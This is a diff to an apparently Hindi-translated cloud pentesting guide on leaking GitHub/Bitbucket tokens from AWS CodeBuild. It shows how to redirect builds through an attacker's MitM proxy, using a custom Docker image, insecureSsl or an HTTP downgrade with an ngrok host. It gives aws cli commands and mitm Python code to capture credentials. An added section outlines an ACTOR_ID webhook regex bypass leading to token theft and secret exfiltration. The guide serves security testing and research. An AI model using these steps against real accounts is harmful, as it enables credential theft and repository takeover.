diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 7ae72bc81..cbfadd1a9 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Github/Bitbucket कॉन्फ़िगर किए गए टोकन को पुनर्प्राप्त करें
+## Recover Github/Bitbucket Configured Tokens
-पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:
+सबसे पहले, जांचें कि क्या कोई source credentials कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:
```bash
aws codebuild list-source-credentials
```
-### Via Docker Image
+### Docker Image के माध्यम से
-यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप **exfiltrate** उस **access** (**GH token या OAuth token**) को कोडबिल्ड को **एक विशिष्ट डॉकर इमेज** का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए बना सकते हैं।
+अगर आपको किसी खाते में उदाहरण के लिए Github के लिए authentication सेट दिखे, तो आप Codebuild को प्रोजेक्ट का बिल्ड चलाने के लिए किसी specific Docker image का उपयोग कराने से वह **exfiltrate** किया हुआ वह **access** (**GH token or OAuth token**) निकाल सकते हैं।
-इसके लिए आप **एक नया Codebuild प्रोजेक्ट** बना सकते हैं या **Docker image** सेट करने के लिए मौजूदा एक का **environment** बदल सकते हैं।
+इस उद्देश्य के लिए आप **नया Codebuild project बना** सकते हैं या किसी मौजूदा प्रोजेक्ट के **environment** को बदलकर **Docker image** सेट कर सकते हैं।
-आप जो Docker image उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)। यह एक बहुत ही बुनियादी Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको **`https_proxy`** और **`http_proxy`** में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और **`SSL_CERT_FILE`** में निर्दिष्ट SSL CERT पर भरोसा करेगा।
+आप जिस Docker image का उपयोग कर सकते हैं वह है [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). यह एक बहुत ही basic Docker image है जो **env variables `https_proxy`**, **`http_proxy`** और **`SSL_CERT_FILE`** सेट करेगा। यह आपको `https_proxy` और `http_proxy` में दिए गए host के अधिकांश ट्रैफिक को इंटरसेप्ट करने और `SSL_CERT_FILE` में दिए गए SSL CERT पर भरोसा करने की अनुमति देगा।
1. **Create & Upload your own Docker MitM image**
-- अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और **docker image बनाएं**।
-- **DO NOT SET `http_proxy`** ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।
-- आप **`ngrok`** का उपयोग कर सकते हैं जैसे `ngrok tcp 4444` अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए
-- एक बार जब आपके पास Docker image बन जाए, तो **इसे एक सार्वजनिक repo** (Dockerhub, ECR...) पर **upload** करें।
+- repo के निर्देशों का पालन करके अपने proxy IP address और SSL cert सेट करें और **build the docker image**।
+- **DO NOT SET `http_proxy`** ताकि metadata endpoint के अनुरोध इंटरसेप्ट न हों।
+- आप **`ngrok`** का उपयोग कर सकते हैं, जैसे `ngrok tcp 4444`, ताकि proxy को अपने host पर सेट कर सकें।
+- एक बार जब आपका Docker image बन जाए, तो इसे **upload करें किसी public repo** (Dockerhub, ECR...)
2. **Set the environment**
-- **एक नया Codebuild प्रोजेक्ट** बनाएं या मौजूदा एक के environment को **संशोधित** करें।
-- प्रोजेक्ट को **पूर्व में उत्पन्न Docker image** का उपयोग करने के लिए सेट करें।
+- एक **new Codebuild project** बनाएं या किसी मौजूदा प्रोजेक्ट के environment को **modify** करें।
+- प्रोजेक्ट को सेट करें कि वह **previously generated Docker image** का उपयोग करे।
3. **Set the MitM proxy in your host**
-- जैसा कि **Github repo** में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
+- जैसा कि **Github repo** में बताया गया है, आप कुछ इस तरह का उपयोग कर सकते हैं:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> **mitmproxy संस्करण 9.0.1** का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।
+> यह **mitmproxy version used was 9.0.1**, रिपोर्ट किया गया कि संस्करण 10 में यह काम नहीं कर सकता।
-4. **बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें**
+4. **बिल्ड चलाएँ & क्रेडेंशियल्स कैप्चर करें**
-- आप **Authorization** हेडर में टोकन देख सकते हैं:
+- आप **Authorization** हेडर में token देख सकते हैं:
-यह aws cli से कुछ इस तरह किया जा सकता है
+यह aws cli से कुछ इस तरह भी किया जा सकता है
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### Via insecureSSL
+### insecureSSL के जरिए
-**Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसे **`insecureSsl`** कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।\
-इसे सक्षम करने से, Codebuild को प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।
+**Codebuild** projects में एक सेटिंग होती है जिसका नाम **`insecureSsl`** है जो वेब में छिपी होती है और आप इसे केवल API से ही बदल सकते हैं।\
+इसे सक्षम करने पर, Codebuild प्लेटफ़ॉर्म द्वारा प्रदान किए गए **सर्टिफिकेट की जांच किए बिना** repository से कनेक्ट कर सकता है।
-- सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है:
+- सबसे पहले आपको वर्तमान कॉन्फ़िगरेशन को enumerate करना होगा, कुछ इस तरह:
```bash
aws codebuild batch-get-projects --name
```
-- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में **`insecureSsl=True`** पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)।
-- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को भी जोड़ें जो आपके tcp ngrok की ओर इशारा करते हैं जैसे:
+- तब, एकत्र की गई जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। नीचे मेरे द्वारा प्रोजेक्ट अपडेट करने का एक उदाहरण है, ध्यान दें कि अंत में **`insecureSsl=True`** है (यही एक चीज़ है जिसे आपको एकत्र की गई कॉन्फ़िगरेशन से बदलना है)।
+- इसके अलावा, env वेरिएबल्स **http_proxy** और **https_proxy** भी जोड़ें जो आपके tcp ngrok की ओर इशारा करें, जैसे:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- फिर, प्रॉक्सी वेरिएबल्स (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ।
+- फिर, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से basic example को उस port पर चलाएँ जिसे proxy variables (http_proxy and https_proxy) द्वारा इंगित किया गया है
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- अंत में, **Build the project** पर क्लिक करें, **credentials** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
+- अंत में, **Build the project** पर क्लिक करें, **credentials** **sent in clear text** (base64) mitm पोर्ट पर:
### ~~HTTP प्रोटोकॉल के माध्यम से~~
-> [!TIP] > **यह कमजोरियों को AWS ने 2023 के 20 फरवरी के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)**
+> [!TIP] > **यह vulnerability AWS द्वारा लगभग 20th of Feb of 2023 वाले सप्ताह में (मुझे लगता है शुक्रवार) ठीक कर दी गई थी। So an attacker can't abuse it anymore :)**
-एक हमलावर के पास **CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन** लीक हो सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**।
+एक attacker जिसके पास CodeBuild पर **elevated permissions** हों, वह configured Github/Bitbucket token को leak कर सकता है, या अगर permissions OAuth के जरिए configured थीं, तो code तक पहुँचने के लिए उपयोग किया गया **temporary OAuth token** leak हो सकता है।
-- एक हमलावर **http_proxy** और **https_proxy** पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
+- एक attacker अपने मशीन की ओर संकेत करते हुए CodeBuild प्रोजेक्ट में environment variables **http_proxy** और **https_proxy** जोड़ सकता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
-- फिर, github repo का URL HTTP का उपयोग करने के लिए बदलें बजाय HTTPS के, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
-- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ।
+- फिर, github repo का URL HTTPS की बजाय HTTP उपयोग करने के लिए बदलें, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
+- फिर, proxy variables (http_proxy और https_proxy) द्वारा निर्दिष्ट पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) का basic example चलाएँ
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- अगला, **प्रोजेक्ट बनाएं** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
+- इसके बाद, **Build the project** पर क्लिक करें या कमांड लाइन से बिल्ड शुरू करें:
```sh
aws codebuild start-build --project-name
```
-- अंत में, **प्रमाण पत्र** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
+- अंत में, **credentials** **sent in clear text** (base64) mitm पोर्ट पर भेज दिए जाएंगे:
> [!WARNING]
-> अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (दुरुपयोग) कोडबिल्ड सेवा का सीधे उपयोग करने की तुलना में अधिक आसानी से कर सकेगा।
+> अब एक हमलावर अपने मशीन से token का उपयोग कर सकेगा, इसके सभी privileges को सूचीबद्ध कर सकेगा और CodeBuild service का सीधे उपयोग करने की तुलना में (ab)use करना आसान होगा।
+
+## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+
+गलत-संरचित CodeBuild GitHub webhooks जो unanchored `ACTOR_ID` regexes का उपयोग करते हैं, *untrusted* PRs को privileged builds शुरू करने की अनुमति देते हैं। अगर allowlist जैसे `123456|7890123` में `^`/`$` नहीं हैं, तो उन substrings में से किसी एक को शामिल करने वाला कोई भी ID मैच होगा। क्योंकि GitHub user IDs क्रमिक होते हैं, एक हमलावर एक “eclipsing” ID (trusted ID का superstring) रजिस्टर करने के लिए रेस लगा सकता है और build को ट्रिगर कर सकता है।
+
+**Exploit path**
+
+1. सार्वजनिक CodeBuild प्रोजेक्ट खोजें जो webhook filters को एक्सपोज़ करते हैं और एक unanchored `ACTOR_ID` allowlist निकालें।
+2. एक eclipsing GitHub ID प्राप्त करें:
+- GitHub orgs बनाकर/हटाकर global ID counter का नमूना लें (org IDs pool साझा करते हैं)।
+- कई GitHub App manifest creations को pre-stage करें और जब counter लक्ष्य के लगभग ~100 IDs के भीतर हो तो confirmation URLs को फायर करके एक bot ID को burst-register करें जो trusted substring को शामिल करता है।
+3. eclipsing अकाउंट से एक PR खोलें; regex substring से मैच करेगा और privileged build रन होगा।
+4. build RCE (जैसे dependency install hooks) का उपयोग करके उस process memory को dump करें जो GitHub credential को handle कर रही है और PAT/OAuth token को recover करें।
+5. token के `repo` scope के साथ, अपने अकाउंट को collaborator/admin के रूप में invite करें और malicious commits को push/approve करें या secrets exfiltrate करें।
+
+## References
+- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}